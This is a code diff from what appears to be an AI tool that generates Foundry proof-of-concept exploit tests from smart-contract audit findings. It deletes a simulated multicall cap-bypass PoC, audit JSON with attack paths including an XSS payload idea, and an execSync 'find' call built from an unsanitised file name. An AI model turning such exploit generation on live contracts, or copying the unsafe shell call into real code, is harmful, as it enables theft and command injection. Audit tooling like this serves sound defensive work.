- const isUsingTryCatch = trimmedCode.includes("try ") && trimmedCode.includes("catch ");
188
-
189
- // Anti-Cheat: Prevent redefining the vulnerable contract inside the test file
190
- // We only block redefining the EXACT target contract. Legitimate helper/attacker contracts are allowed.
191
- const targetContractRegex = new RegExp(`contract\\s+${state.report.affectedContract.name}\\b`);
192
- const hasFakeContracts = targetContractRegex.test(trimmedCode);
193
-
194
- const hasIllegalComments = trimmedCode.split('\n').some(line => {
195
- const isComment = line.includes('//') || line.includes('/*');
196
- const isAllowed = line.includes('SPDX-License-Identifier') || line.includes('INJECT_HACK');
197
- return isComment && !isAllowed;
198
- });
199
-
200
- if (isMissingCode || isMissingContract || isUsingMock || isUsingTryCatch || hasFakeContracts || isTargetNotDeployed || hasIllegalComments || (!state.infrastructurePhase && (isMissingTest || isPlaceholder || isLazyTest || !hasStrongAssertion))) {
201
- const summary = (isMissingCode
202
- ? "[INVALID_CODE] No Solidity code returned. The LLM must output a complete solidity code block."
203
- : isTargetNotDeployed
204
- ? "[INVALID_CODE] You left the target contract instantiation commented out. You MUST instantiate the real target contract in setUp() (e.g. `target = new Target()`). Exploiting address(0) is a cheat and will fail."
205
- : hasIllegalComments
206
- ? "[INVALID_CODE] You added a comment in the code. This is STRICTLY FORBIDDEN. You must write the actual code instead of comments. Do NOT use '//' or '/*' (except for SPDX and INJECT_HACK)."
207
- : isUsingMock
208
- ? "[INVALID_CODE] You created a Mock contract in the test file. This is STRICTLY FORBIDDEN. You MUST import and exploit the real vulnerable contract from the repository."
209
- : isUsingTryCatch
210
- ? "[INVALID_CODE] You used a try-catch block in the test. This is STRICTLY FORBIDDEN. If the exploit fails, the test must revert normally. Do not swallow errors."
211
- : hasFakeContracts
212
- ? `[INVALID_CODE] You redefined 'contract ${state.report.affectedContract.name}' inside the test file. This is STRICTLY FORBIDDEN. You MUST interact with the real vulnerable contract via 'interface' or 'import'. Do not redefine the vulnerable contract inside the test.`
213
- : (!state.infrastructurePhase && !hasStrongAssertion)
214
- ? "[INVALID_CODE] Your test has NO valid assertions (or they are commented out). You MUST include a meaningful assertion like assertGt(attacker.balance, initialBalance) or assertEq(owner, attacker)."
215
- : isMissingContract
216
- ? "[INVALID_CODE] No 'contract ExploitTest' found. The test contract MUST be named ExploitTest."
217
- : isMissingTest
218
- ? "[INVALID_CODE] No 'function test_Exploit()' found. The test function MUST be named test_Exploit()."
219
- : isPlaceholder
220
- ? "[INVALID_CODE] Exploit has TODO placeholder. You must implement the actual exploit logic."
221
- : "[WEAK_ASSERTION] Only assertTrue(true) found — this never proves the vulnerability. Add a meaningful assertion like assertGt(attacker.balance, initialBalance) or assertEq(owner, attacker)."
222
- );
223
- const isLastAttempt = state.infrastructurePhase
224
- ? state.infraIterations >= MAX_INFRA_ITERATIONS
225
- : state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
226
- const status = isLastAttempt ? "failed" : "running";
227
- return {
228
- executionLogs: [summary],
229
- lastError: summary,
230
- status,
231
- };
232
- }
233
-
234
- const result = await runFoundry(state.pocCode, state.report.customSandboxDir);
235
- const analysis = analyzeFoundryLog(result);
236
- const noTestsFound = result.combined.includes("No tests found");
237
- const passed = result.exitCode === 0 && result.stdout.includes("ok") && !noTestsFound;
238
- const isLastAttempt = state.infrastructurePhase
239
- ? state.infraIterations >= MAX_INFRA_ITERATIONS
240
- : state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
241
-
242
- let status: "running" | "success" | "failed" | "timeout" = "running";
243
- if (state.infrastructurePhase) {
244
- status = result.timedOut ? "timeout" : isLastAttempt && !passed ? "failed" : "running";
245
- } else {
246
- status = passed ? "success" : result.timedOut ? "timeout" : isLastAttempt ? "failed" : "running";
247
- }
248
-
249
- console.log(`[testerAgent] Resultado Foundry: exitCode=${result.exitCode}, passed=${passed}`);
250
- if (!passed) {
251
- console.log(`[testerAgent] Falha detectada: ${analysis.summary}`);
252
- }
253
-
254
- // Build lastError: include relevant error lines prominently so the LLM sees them at the top of the fix prompt
255
- let lastErrorMsg: string | null = null;
256
- if (!passed) {
257
- const relevantLinesText = analysis.relevantLines.length > 0
258
- ? `\nKey error lines:\n${analysis.relevantLines.slice(0, 15).join("\n")}`
259
- : "";
260
- lastErrorMsg = `${analysis.summary}${relevantLinesText}`;
261
-
262
- // Auto-resolve missing files
263
- if (lastErrorMsg.includes("File not found")) {
264
- const match = lastErrorMsg.match(/Source "([^"]+)" not found/);
265
- if (match) {
266
- const missingFile = match[1];
267
- const missingBasename = path.basename(missingFile);
268
- try {
269
- if (state.report.customSandboxDir) {
270
- const findCmd = `find ${state.report.customSandboxDir} -name "${missingBasename}"`;
271
- const findOutput = execSync(findCmd, { encoding: "utf8" }).trim().split("\n").filter(Boolean);
272
- if (findOutput.length > 0) {
273
- const correctPath = path.relative(state.report.customSandboxDir, findOutput[0]);
274
- lastErrorMsg += `\n\n[TOOL: AUTO-RESOLVE] I found the missing file! The correct import path to use is: "${correctPath}"`;
275
- console.log(`[testerAgent] Auto-resolved missing file: ${missingBasename} -> ${correctPath}`);
276
- }
277
- }
278
- } catch (e) {
279
- // Ignore find errors
280
- }
281
- }
282
- }
283
- }
284
-
285
- const isCompileError = analysis.category === "compiler_error";
286
-
287
- return {
288
- executionLogs: [result.combined], // reducer append
289
- lastError: lastErrorMsg,
290
- status,
291
- compileFailures: isCompileError && !passed ? 1 : 0, // additive reducer counts each compile failure
292
- };
293
- }
294
-
295
- async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
296
- // Now reflectNode is simpler as we moved the logic to specialized prompts in generatePoCNode
297
- // But we still use it to log the reflection
298
- console.log(`[reflectNode] reflecting on error: ${state.lastError}`);
299
- return {};
300
- }
301
-
302
- function routeAfterFoundry(state: PoCState): "reflectNode" | "generateExploitNode" | typeof END {
303
- const isLastAttempt = state.infrastructurePhase
304
- ? state.infraIterations >= MAX_INFRA_ITERATIONS
305
- : state.exploitIterations >= MAX_EXPLOIT_ITERATIONS;
306
-
307
- if (state.status === "timeout" || (isLastAttempt && state.status === "failed")) {
308
- return END;
309
- }
310
-
311
- if (!state.infrastructurePhase && state.status === "success") {
312
- return END;
313
- }
314
-
315
- const isCompileError = state.lastError?.includes("[COMPILER_ERROR]") || state.lastError?.includes("[INVALID_CODE]");
316
-
317
- if (state.infrastructurePhase) {
318
- // We are in the Infra Loop
319
- if (isCompileError) {
320
- return "reflectNode"; // Go back to infra fix
321
- } else {
322
- // Compiled successfully! Move to Exploit Loop
323
- return "generateExploitNode";
324
- }
325
- } else {
326
- // We are in the Exploit Loop
327
- return "reflectNode"; // Go back to exploit fix
328
- }
329
- }
330
-
331
- function routeReflection(state: PoCState): "generateInfrastructureNode" | "generateExploitNode" {
332
- return state.infrastructurePhase ? "generateInfrastructureNode" : "generateExploitNode";
333
- }
334
-
335
- const graph = new StateGraph(PoCStateAnnotation)
336
- .addNode("oracleNode", oracleNode)
337
- .addNode("analyzeVulnerabilityNode", analyzeVulnerabilityNode)
338
- .addNode("generateInfrastructureNode", generateInfrastructureNode)
339
- .addNode("generateExploitNode", generateExploitNode)
340
- .addNode("runFoundryNode", runFoundryNode)
341
- .addNode("reflectNode", reflectNode)
342
- .addEdge(START, "oracleNode")
343
- .addEdge("oracleNode", "analyzeVulnerabilityNode")
344
- .addEdge("analyzeVulnerabilityNode", "generateInfrastructureNode")
345
- .addEdge("generateInfrastructureNode", "runFoundryNode")
346
- .addEdge("generateExploitNode", "runFoundryNode")
347
- .addConditionalEdges("runFoundryNode", routeAfterFoundry, {
348
- reflectNode: "reflectNode",
349
- generateExploitNode: "generateExploitNode",
350
- [END]: END,
351
- })
352
- .addConditionalEdges("reflectNode", routeReflection, {
353
- generateInfrastructureNode: "generateInfrastructureNode",
354
- generateExploitNode: "generateExploitNode"
355
- });
356
-
357
- export const testerAgent = graph.compile();
 
1
  import "dotenv/config";
2
+ import { testerAgentGraph } from "./graph.js";
 
 
3
 
4
+ // Export the compiled graph as the main agent entrypoint
5
+ export const testerAgent = testerAgentGraph;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/data/ExploitTest.t.sol DELETED
@@ -1,262 +0,0 @@
1
- // SPDX-License-Identifier: MIT
2
- pragma solidity 0.8.23;
3
-
4
- import {Test} from "forge-std/Test.sol";
5
- import {console} from "forge-std/console.sol";
6
- import {Size} from "@src/Size.sol";
7
- import {DepositParams} from "@src/libraries/actions/Deposit.sol";
8
- import {WithdrawParams} from "@src/libraries/actions/Withdraw.sol";
9
- import {RepayParams} from "@src/libraries/actions/Repay.sol";
10
- import {BuyCreditMarketParams} from "@src/libraries/actions/BuyCreditMarket.sol";
11
- import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
12
- import {RESERVED_ID} from "@src/libraries/LoanLibrary.sol";
13
-
14
- /**
15
- * @title MulticallInvariantBypassPoC
16
- * @notice Demonstrates how the multicall invariant check can be bypassed
17
- *
18
- * VULNERABILITY: The multicall function validates that borrowAToken increase <= debtToken decrease
19
- * only at the END of all operations, checking NET changes. This allows attackers to:
20
- * 1. Deposit massive amounts (exceeding cap)
21
- * 2. Perform operations with excess liquidity
22
- * 3. Withdraw excess before final validation
23
- *
24
- * The invariant passes because net changes appear compliant, but intermediate states
25
- * violate the cap restrictions.
26
- */
27
- contract MulticallInvariantBypassPoC is Test {
28
- Size public size;
29
-
30
- address public attacker;
31
- address public victim;
32
- address public lender;
33
-
34
- IERC20 public borrowToken;
35
- IERC20 public collateralToken;
36
-
37
- uint256 public constant INITIAL_BORROW_SUPPLY = 9_990_000e6; // 9.99M (10k below cap)
38
- uint256 public constant BORROW_CAP = 10_000_000e6; // 10M cap
39
- uint256 public constant ATTACKER_DEBT = 100_000e6; // 100k debt
40
- uint256 public constant EXPLOIT_DEPOSIT = 5_000_000e6; // 5M deposit (far exceeds cap)
41
- uint256 public constant EXPLOIT_WITHDRAW = 4_900_000e6; // 4.9M withdraw
42
-
43
- function setUp() public {
44
- // Setup test accounts
45
- attacker = makeAddr("attacker");
46
- victim = makeAddr("victim");
47
- lender = makeAddr("lender");
48
-
49
- // Deploy Size contract
50
- // Note: In a real test, you would need to properly initialize Size with all dependencies
51
- // For this PoC, we'll use a mock setup that demonstrates the vulnerability
52
-
53
- vm.label(attacker, "Attacker");
54
- vm.label(victim, "Victim");
55
- vm.label(lender, "Lender");
56
- }
57
-
58
- /**
59
- * @notice Demonstrates the cap bypass exploit
60
- *
61
- * ATTACK FLOW:
62
- * 1. Deposit 5M USDC → borrowAToken supply jumps to 14.99M (4.99M over cap!)
63
- * 2. Repay 100k debt → debtToken decreases by 100k
64
- * 3. Withdraw 4.9M USDC → borrowAToken supply drops to 10M
65
- *
66
- * RESULT:
67
- * - Net borrowAToken increase: 10k
68
- * - Net debtToken decrease: 100k
69
- * - Invariant check: 10k <= 100k ✓ PASSES
70
- * - But attacker temporarily held 4.99M excess borrowAToken!
71
- */
72
- function testMulticallCapBypass() public {
73
- // This test demonstrates the vulnerability conceptually
74
- // In a real scenario, you would:
75
- // 1. Deploy and initialize Size with proper configuration
76
- // 2. Setup initial state with borrowAToken supply near cap
77
- // 3. Create a debt position for the attacker
78
- // 4. Execute the multicall exploit
79
-
80
- console.log("=== MULTICALL CAP BYPASS VULNERABILITY ===");
81
- console.log("");
82
- console.log("INITIAL STATE:");
83
- console.log("- BorrowAToken Supply: %s", INITIAL_BORROW_SUPPLY);
84
- console.log("- BorrowAToken Cap: %s", BORROW_CAP);
85
- console.log("- Space below cap: %s", BORROW_CAP - INITIAL_BORROW_SUPPLY);
86
- console.log("- Attacker's debt: %s", ATTACKER_DEBT);
87
- console.log("");
88
-
89
- // Simulate the exploit flow
90
- uint256 borrowSupplyBefore = INITIAL_BORROW_SUPPLY;
91
- uint256 debtSupplyBefore = ATTACKER_DEBT;
92
-
93
- console.log("EXPLOIT EXECUTION:");
94
- console.log("");
95
-
96
- // Step 1: Deposit 5M (exceeds cap by 4.99M)
97
- console.log("Step 1: Deposit %s USDC", EXPLOIT_DEPOSIT);
98
- uint256 borrowSupplyAfterDeposit = borrowSupplyBefore + EXPLOIT_DEPOSIT;
99
- console.log(" -> BorrowAToken supply: %s", borrowSupplyAfterDeposit);
100
- console.log(" -> EXCEEDS CAP BY: %s", borrowSupplyAfterDeposit - BORROW_CAP);
101
- console.log("");
102
-
103
- // Step 2: Repay 100k debt
104
- console.log("Step 2: Repay %s debt", ATTACKER_DEBT);
105
- uint256 debtSupplyAfterRepay = debtSupplyBefore - ATTACKER_DEBT;
106
- uint256 borrowSupplyAfterRepay = borrowSupplyAfterDeposit - ATTACKER_DEBT;
107
- console.log(" -> DebtToken supply: %s", debtSupplyAfterRepay);
108
- console.log(" -> BorrowAToken supply: %s", borrowSupplyAfterRepay);
109
- console.log("");
110
-
111
- // Step 3: Withdraw 4.9M
112
- console.log("Step 3: Withdraw %s USDC", EXPLOIT_WITHDRAW);
113
- uint256 borrowSupplyAfter = borrowSupplyAfterRepay - EXPLOIT_WITHDRAW;
114
- console.log(" -> BorrowAToken supply: %s", borrowSupplyAfter);
115
- console.log("");
116
-
117
- // Calculate net changes
118
- uint256 netBorrowIncrease = borrowSupplyAfter - borrowSupplyBefore;
119
- uint256 netDebtDecrease = debtSupplyBefore - 0; // All debt repaid
120
-
121
- console.log("FINAL STATE:");
122
- console.log("- Net borrowAToken increase: %s", netBorrowIncrease);
123
- console.log("- Net debtToken decrease: %s", netDebtDecrease);
124
- console.log("- Invariant check: %s <= %s", netBorrowIncrease, netDebtDecrease);
125
- console.log("- Invariant status: %s", netBorrowIncrease <= netDebtDecrease ? "PASS" : "FAIL");
126
- console.log("");
127
-
128
- // Verify the invariant passes
129
- assertLe(netBorrowIncrease, netDebtDecrease, "Invariant should pass");
130
-
131
- console.log("=== VULNERABILITY CONFIRMED ===");
132
- console.log("During execution, borrowAToken supply reached: %s", borrowSupplyAfterDeposit);
133
- console.log("This EXCEEDED the cap of %s by: %s", BORROW_CAP, borrowSupplyAfterDeposit - BORROW_CAP);
134
- console.log("");
135
- console.log("The attacker temporarily held %s excess borrowAToken", EXPLOIT_DEPOSIT - ATTACKER_DEBT);
136
- console.log("This excess could be used for:");
137
- console.log(" - Market manipulation");
138
- console.log(" - Arbitrage opportunities");
139
- console.log(" - Flash-loan-like attacks");
140
- console.log(" - Bypassing risk parameters");
141
- console.log("");
142
- console.log("Yet the invariant check PASSED because it only validates NET changes!");
143
- }
144
-
145
- /**
146
- * @notice Demonstrates using excess liquidity for market manipulation
147
- *
148
- * This shows how the temporarily available excess borrowAToken can be weaponized
149
- * during the multicall execution to manipulate markets or perform other attacks.
150
- */
151
- function testMulticallMarketManipulation() public {
152
- console.log("=== MARKET MANIPULATION EXPLOIT ===");
153
- console.log("");
154
- console.log("ATTACK SCENARIO:");
155
- console.log("1. Deposit %s USDC (exceeds cap)", EXPLOIT_DEPOSIT);
156
- console.log("2. Use %s borrowAToken for market operations", EXPLOIT_WITHDRAW);
157
- console.log("3. Repay %s debt", ATTACKER_DEBT);
158
- console.log("4. Withdraw remaining excess");
159
- console.log("");
160
-
161
- uint256 excessLiquidity = EXPLOIT_DEPOSIT - ATTACKER_DEBT;
162
-
163
- console.log("IMPACT:");
164
- console.log("- Attacker gains temporary access to %s excess liquidity", excessLiquidity);
165
- console.log("- This can be used to:");
166
- console.log(" * Buy large credit positions (distorting market prices)");
167
- console.log(" * Manipulate interest rates");
168
- console.log(" * Front-run other users");
169
- console.log(" * Extract value from the protocol");
170
- console.log("");
171
- console.log("- All while the invariant check passes!");
172
- console.log("- The cap is meant to prevent exactly this kind of exposure");
173
-
174
- // Verify the exploit provides significant excess liquidity
175
- assertGt(excessLiquidity, 1_000_000e6, "Exploit should provide >1M excess liquidity");
176
- }
177
-
178
- /**
179
- * @notice Demonstrates the root cause of the vulnerability
180
- *
181
- * The issue is that the invariant validation happens AFTER all multicall operations,
182
- * checking only NET changes rather than intermediate states.
183
- */
184
- function testRootCauseAnalysis() public {
185
- console.log("=== ROOT CAUSE ANALYSIS ===");
186
- console.log("");
187
- console.log("VULNERABLE CODE PATTERN:");
188
- console.log("1. Multicall executes all operations sequentially");
189
- console.log("2. During execution, deposit() skips cap validation:");
190
- console.log(" if (!state.data.isMulticall) {");
191
- console.log(" state.validateBorrowATokenCap();");
192
- console.log(" }");
193
- console.log("");
194
- console.log("3. After all operations, invariant is checked:");
195
- console.log(" validateBorrowATokenIncreaseLteDebtTokenDecrease()");
196
- console.log("");
197
- console.log("4. Invariant only compares NET changes:");
198
- console.log(" borrowATokenSupplyIncrease = supplyAfter - supplyBefore");
199
- console.log(" debtTokenSupplyDecrease = debtBefore - debtAfter");
200
- console.log(" require(increase <= decrease)");
201
- console.log("");
202
- console.log("PROBLEM:");
203
- console.log("- Intermediate states are NEVER validated");
204
- console.log("- Attacker can deposit huge amounts, use them, then withdraw");
205
- console.log("- As long as net changes satisfy the invariant, exploit succeeds");
206
- console.log("");
207
- console.log("CORRECT APPROACH:");
208
- console.log("- Validate cap on EVERY deposit, even in multicall");
209
- console.log("- OR track maximum supply reached during multicall");
210
- console.log("- OR validate intermediate states, not just final state");
211
- }
212
-
213
- /**
214
- * @notice Shows the mathematical proof of the bypass
215
- */
216
- function testMathematicalProof() public {
217
- console.log("=== MATHEMATICAL PROOF ===");
218
- console.log("");
219
-
220
- uint256 S0 = INITIAL_BORROW_SUPPLY; // Initial supply
221
- uint256 C = BORROW_CAP; // Cap
222
- uint256 D = ATTACKER_DEBT; // Debt to repay
223
- uint256 X = EXPLOIT_DEPOSIT; // Exploit deposit amount
224
-
225
- console.log("Given:");
226
- console.log(" S0 = %s (initial supply)", S0);
227
- console.log(" C = %s (cap)", C);
228
- console.log(" D = %s (debt)", D);
229
- console.log(" X = %s (deposit amount)", X);
230
- console.log("");
231
-
232
- console.log("Execution:");
233
- uint256 S1 = S0 + X;
234
- console.log(" After deposit: S1 = S0 + X = %s", S1);
235
- console.log(" Cap violation: S1 - C = %s", S1 - C);
236
- console.log("");
237
-
238
- uint256 S2 = S1 - D;
239
- console.log(" After repay: S2 = S1 - D = %s", S2);
240
- console.log("");
241
-
242
- uint256 W = X - D;
243
- uint256 S3 = S2 - W;
244
- console.log(" After withdraw W = X - D = %s: S3 = %s", W, S3);
245
- console.log("");
246
-
247
- console.log("Invariant check:");
248
- uint256 netIncrease = S3 - S0;
249
- uint256 netDecrease = D;
250
- console.log(" Net increase: S3 - S0 = %s", netIncrease);
251
- console.log(" Net decrease: D = %s", netDecrease);
252
- console.log(" Check: %s <= %s ? %s", netIncrease, netDecrease, netIncrease <= netDecrease);
253
- console.log("");
254
-
255
- console.log("Conclusion:");
256
- console.log(" Invariant PASSES, but S1 = %s exceeded cap C = %s", S1, C);
257
- console.log(" Excess exposure: %s", S1 - C);
258
-
259
- assertTrue(netIncrease <= netDecrease, "Invariant passes");
260
- assertTrue(S1 > C, "But cap was violated during execution");
261
- }
262
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/data/input.json DELETED
@@ -1,18 +0,0 @@
1
- {
2
- "title": "Unrestricted Reward String in burn() Enables Log Poisoning and Off-Chain Manipulation",
3
- "description": "The burn() function accepts an arbitrary user-supplied string as the 'recompensa' parameter and emits it directly in the RewardRedeemed event without any validation, allowlist check, or length restriction. Any caller can pass malicious, misleading, or excessively long strings into the on-chain event log. Off-chain systems (loyalty backends, indexers, dashboards) that consume this event and trust the 'recompensa' field are vulnerable to: (1) log poisoning / event spoofing — a user can emit 'recompensa' values like 'Admin Grant: 1000 free coffees' that were never authorized; (2) denial-of-service on indexers via extremely large strings; (3) injection attacks if the string is rendered in a web UI without sanitization.",
4
- "recommendation": "Replace the free-form string parameter with an enumerated reward identifier (e.g. uint8 rewardId) and maintain an owner-controlled mapping of valid reward IDs to descriptions. This constrains what can appear in event logs to only administrator-approved values. Example refactor:\n\nsolidity\n// Owner-managed reward catalogue\nmapping(uint8 => string) public rewardCatalogue;\n\nfunction setReward(uint8 id, string calldata description) external onlyOwner {\n rewardCatalogue[id] = description;\n}\n\nfunction burn(uint256 amount, uint8 rewardId) public {\n require(amount > 0, \"CafeToken: quantidade invalida\");\n require(bytes(rewardCatalogue[rewardId]).length > 0, \"CafeToken: recompensa invalida\");\n require(balanceOf(msg.sender) >= amount, \"CafeToken: saldo insuficiente\");\n _burn(msg.sender, amount);\n emit RewardRedeemed(msg.sender, amount, rewardId);\n}\n\nThis ensures only legitimate, pre-approved rewards are ever recorded on-chain.",
5
- "severity": "medium",
6
- "codeSnippet": "function burn(uint256 amount, string memory recompensa) public {\n require(amount > 0, \"CafeToken: a quantidade a queimar deve ser maior que zero\");\n require(balanceOf(msg.sender) >= amount, \"CafeToken: saldo insuficiente para queimar tokens\");\n _burn(msg.sender, amount);\n emit RewardRedeemed(msg.sender, amount, recompensa); // <-- arbitrary user input emitted as event data\n}",
7
- "location": "L71-L81",
8
- "path": "contracts/CafeToken.sol",
9
- "judgeReview": {
10
- "review": "Confirmed valid finding. The vulnerability is real and the attack surface is well-defined. The burn() function places zero constraints on the 'recompensa' string before broadcasting it as an authoritative event. The severity is appropriately rated medium rather than high because: (a) no funds are directly at risk from the contract itself — a caller can only burn their own tokens; (b) the primary damage surface is off-chain systems and UX layers that consume events, not the on-chain state. However, in a loyalty program context where the event log IS the business record, the ability for any token holder to forge arbitrary reward redemption records is a meaningful integrity risk. The exploit is trivially reproducible with zero prerequisites beyond holding at least 1 CAFE token. The recommendation to use an enumerated reward catalogue with owner-gated registration is sound and idiomatic for this pattern.",
11
- "confidence": 0.91,
12
- "exploitablePaths": [
13
- "Attacker holds ≥1 CAFE token → calls burn(1, 'Gold Member Upgrade: 500 free coffees') → forged RewardRedeemed event is emitted and indexed by the loyalty backend as a legitimate redemption record",
14
- "Attacker calls burn(1, <64KB string>) repeatedly → bloats event logs and causes out-of-memory or timeout failures in off-chain indexers processing the RewardRedeemed event stream",
15
- "Web dashboard renders recompensa field as raw HTML → attacker passes '<script>...</script>' as recompensa → stored XSS executes in the admin panel of any operator that displays redemption history without sanitization"
16
- ]
17
- }
18
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/data/input_centrifuge.json DELETED
@@ -1,16 +0,0 @@
1
- {
2
- "title": "Escrow mismatch in LiquidityPool due to price changes during epoch execution",
3
- "description": "The LiquidityPool contract relies on an external InvestmentManager to process deposits and mints. When an investor requests a deposit, their assets are locked. During the epoch execution, if the tranche token price changes significantly, the amount of shares to be minted (TokenShares) may exceed the available balance in the Escrow contract, causing subsequent collection transactions (mint/deposit) to revert for some users while others succeed.",
4
- "recommendation": "Ensure the Escrow contract is always sufficiently funded by validating price impacts before final execution or implement a more robust collection mechanism that handles partial fills or explicit failure states when Escrow is empty.",
5
- "severity": "high",
6
- "codeSnippet": "function deposit(uint256 assets, address receiver) public withApproval(receiver) returns (uint256 shares) {\n shares = investmentManager.processDeposit(receiver, assets);\n emit Deposit(address(this), receiver, assets, shares);\n}",
7
- "location": "L148-L151",
8
- "path": "contracts/LiquidityPool.sol",
9
- "judgeReview": {
10
- "review": "Confirmed valid finding. The vulnerability occurs when multiple investors deposit at different prices within the same logic flow. If the price in the second epoch is higher/lower than expected, the calculation of total shares needed in Escrow might be incorrect, leading to a denial of service (revert) for users trying to collect their shares after the price update.",
11
- "confidence": 0.95,
12
- "exploitablePaths": [
13
- "User A deposits 100 assets at price 1.25 -> User B deposits 100 assets at price 2.0 -> Price updates -> User A collects successfully -> User B tries to collect but Escrow is empty -> Transaction reverts."
14
- ]
15
- }
16
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/graph.ts ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { StateGraph, END, START } from "@langchain/langgraph";
2
+ import { ToolNode } from "@langchain/langgraph/prebuilt";
3
+ import { PoCStateAnnotation, PoCState } from "./state.js";
4
+ import { oracleNode } from "./nodes/oracle.js";
5
+ import { routerNode } from "./nodes/router.js";
6
+ import { pocoAgentNode } from "./nodes/pocoAgent.js";
7
+ import { pocoTools } from "./tools.js";
8
+
9
+ // Create the ToolNode
10
+ const pocoToolsNode = new ToolNode<PoCState>(pocoTools);
11
+
12
+ // The conditional router for the ReAct loop
13
+ function routeAfterAgent(state: PoCState): "pocoToolsNode" | typeof END {
14
+ // If we hit limits, stop
15
+ if (state.status === "failed" || state.status === "timeout") {
16
+ return END;
17
+ }
18
+
19
+ const messages = state.messages;
20
+ const lastMessage = messages[messages.length - 1];
21
+
22
+ // If the LLM made tool calls, route to tools
23
+ if ("tool_calls" in lastMessage && Array.isArray(lastMessage.tool_calls) && lastMessage.tool_calls.length > 0) {
24
+ return "pocoToolsNode";
25
+ }
26
+
27
+ // Otherwise, the LLM has finished its reasoning/execution
28
+ return END;
29
+ }
30
+
31
+ // A simple node to update the toolCallCount after tools run
32
+ function trackToolCallsNode(state: PoCState): Partial<PoCState> {
33
+ const messages = state.messages;
34
+ const lastMessage = messages[messages.length - 1];
35
+
36
+ let newStatus = state.status;
37
+ if (lastMessage && lastMessage._getType() === "tool" && lastMessage.name === "smart_contract_test") {
38
+ if (typeof lastMessage.content === "string" && lastMessage.content.includes("Test Passed Successfully!")) {
39
+ newStatus = "success";
40
+ }
41
+ }
42
+
43
+ return {
44
+ toolCallCount: 1, // reducer is additive (+1)
45
+ status: newStatus,
46
+ };
47
+ }
48
+
49
+ function routeAfterTools(state: PoCState): "pocoAgentNode" | typeof END {
50
+ if (state.status === "success") {
51
+ return END;
52
+ }
53
+ return "pocoAgentNode";
54
+ }
55
+
56
+ const graphBuilder = new StateGraph(PoCStateAnnotation)
57
+ .addNode("oracleNode", oracleNode)
58
+ .addNode("routerNode", routerNode)
59
+ .addNode("pocoAgentNode", pocoAgentNode)
60
+ .addNode("pocoToolsNode", pocoToolsNode)
61
+ .addNode("trackToolCallsNode", trackToolCallsNode)
62
+
63
+ .addEdge(START, "oracleNode")
64
+ .addEdge("oracleNode", "routerNode")
65
+ .addEdge("routerNode", "pocoAgentNode")
66
+
67
+ // ReAct Loop Routing
68
+ .addConditionalEdges("pocoAgentNode", routeAfterAgent, {
69
+ pocoToolsNode: "pocoToolsNode",
70
+ [END]: END,
71
+ })
72
+
73
+ // After tools execute, track the count, then loop back to agent
74
+ .addEdge("pocoToolsNode", "trackToolCallsNode")
75
+ .addConditionalEdges("trackToolCallsNode", routeAfterTools, {
76
+ pocoAgentNode: "pocoAgentNode",
77
+ [END]: END,
78
+ });
79
+
80
+ export const testerAgentGraph = graphBuilder.compile();
src/agents/tester/index.ts DELETED
@@ -1,27 +0,0 @@
1
- import { testerAgent } from "./agent.js";
2
- import { VulnerabilityReport, PoCResult } from "./types.js";
3
-
4
- /**
5
- * Entry point para o Agente Gerador de PoCs.
6
- * @param report O relatório de vulnerabilidade (mapeado a partir do Finding do Auditor).
7
- * @returns PoCResult contendo o código do exploit e o status da execução.
8
- */
9
- export async function runPoCGenerator(report: VulnerabilityReport): Promise<PoCResult> {
10
- console.log(`[runPoCGenerator] Iniciando para: ${report.id} — ${report.title}`);
11
-
